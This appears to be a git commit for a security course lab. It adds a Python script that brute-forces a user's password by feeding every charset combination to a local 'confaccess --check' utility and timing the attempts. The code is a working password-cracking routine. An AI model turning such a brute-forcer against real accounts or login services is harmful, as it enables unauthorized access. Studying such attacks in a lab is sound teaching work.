lab3
This commit is contained in:
138
lab3/bruteforce.py
Normal file
138
lab3/bruteforce.py
Normal file
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import itertools
|
||||
import shutil
|
||||
import string
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).parent))
|
||||
|
||||
from config import BIN_DIR
|
||||
|
||||
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()"
|
||||
FIRST_CHARS = string.ascii_letters
|
||||
|
||||
MAX_HOURS = 8
|
||||
|
||||
|
||||
def get_access_cmd() -> list[str]:
|
||||
"""Resolve path to confaccess utility."""
|
||||
for name in ("confaccess", "access"):
|
||||
path = shutil.which(name)
|
||||
if path:
|
||||
return [path]
|
||||
script_dir = Path(__file__).resolve().parent
|
||||
confaccess_script = script_dir / "confaccess.py"
|
||||
if confaccess_script.exists():
|
||||
return [sys.executable, str(confaccess_script)]
|
||||
for name in ("confaccess", "access"):
|
||||
bin_cmd = BIN_DIR / name
|
||||
if bin_cmd.exists():
|
||||
return [str(bin_cmd)]
|
||||
return ["confaccess"]
|
||||
|
||||
|
||||
def max_combinations(length: int) -> int:
|
||||
if length == 1:
|
||||
return len(FIRST_CHARS)
|
||||
return len(FIRST_CHARS) * (len(CHARSET) ** (length - 1))
|
||||
|
||||
|
||||
def brute_force_length(
|
||||
login: str, length: int, proc: subprocess.Popen[str]
|
||||
) -> tuple[str, int, float] | None:
|
||||
"""Try all passwords of given length via batch process. proc = confaccess --check."""
|
||||
count = 0
|
||||
start = time.perf_counter()
|
||||
stdin = proc.stdin
|
||||
stdout = proc.stdout
|
||||
assert stdin is not None and stdout is not None
|
||||
|
||||
def check(password: str) -> bool:
|
||||
nonlocal count
|
||||
count += 1
|
||||
stdin.write(password + "\n")
|
||||
stdin.flush()
|
||||
line = stdout.readline()
|
||||
if not line:
|
||||
return False
|
||||
return line.strip() == "1"
|
||||
|
||||
if length == 1:
|
||||
for first in FIRST_CHARS:
|
||||
if time.perf_counter() - start > MAX_HOURS * 3600:
|
||||
return None
|
||||
if check(first):
|
||||
return first, count, time.perf_counter() - start
|
||||
return None
|
||||
|
||||
for first in FIRST_CHARS:
|
||||
for rest in itertools.product(CHARSET, repeat=length - 1):
|
||||
if time.perf_counter() - start > MAX_HOURS * 3600:
|
||||
return None
|
||||
password = first + "".join(rest)
|
||||
if check(password):
|
||||
return password, count, time.perf_counter() - start
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Brute force password cracker (via confaccess utility)"
|
||||
)
|
||||
parser.add_argument("login", help="Target username")
|
||||
parser.add_argument(
|
||||
"--max-length",
|
||||
type=int,
|
||||
default=6,
|
||||
help="Maximum password length to try (default: 6)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
cmd = get_access_cmd() + ["--check", args.login]
|
||||
proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
)
|
||||
try:
|
||||
print(f"Target: {args.login}")
|
||||
print(f"Charset size: {len(CHARSET)} ({len(FIRST_CHARS)} valid for first char)")
|
||||
print()
|
||||
|
||||
total_start = time.perf_counter()
|
||||
for length in range(1, args.max_length + 1):
|
||||
total = max_combinations(length)
|
||||
print(f"Length {length}: max {total:>15,} combinations")
|
||||
|
||||
result = brute_force_length(args.login, length, proc)
|
||||
|
||||
if result is not None:
|
||||
password, count, elapsed = result
|
||||
total_elapsed = time.perf_counter() - total_start
|
||||
print(f" >>> FOUND: '{password}'")
|
||||
print(f" Iterations: {count:,}")
|
||||
print(f" Time (len): {elapsed:.4f}s")
|
||||
print(f" Time (total): {total_elapsed:.4f}s")
|
||||
print(f" Speed: {count / elapsed:,.0f} attempts/s")
|
||||
return
|
||||
else:
|
||||
print(f" Not found at length {length} (timeout or exhausted)")
|
||||
|
||||
print(f"\nPassword not found within length {args.max_length}.")
|
||||
finally:
|
||||
if proc.stdin:
|
||||
proc.stdin.close()
|
||||
if proc.poll() is None:
|
||||
proc.terminate()
|
||||
proc.wait()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user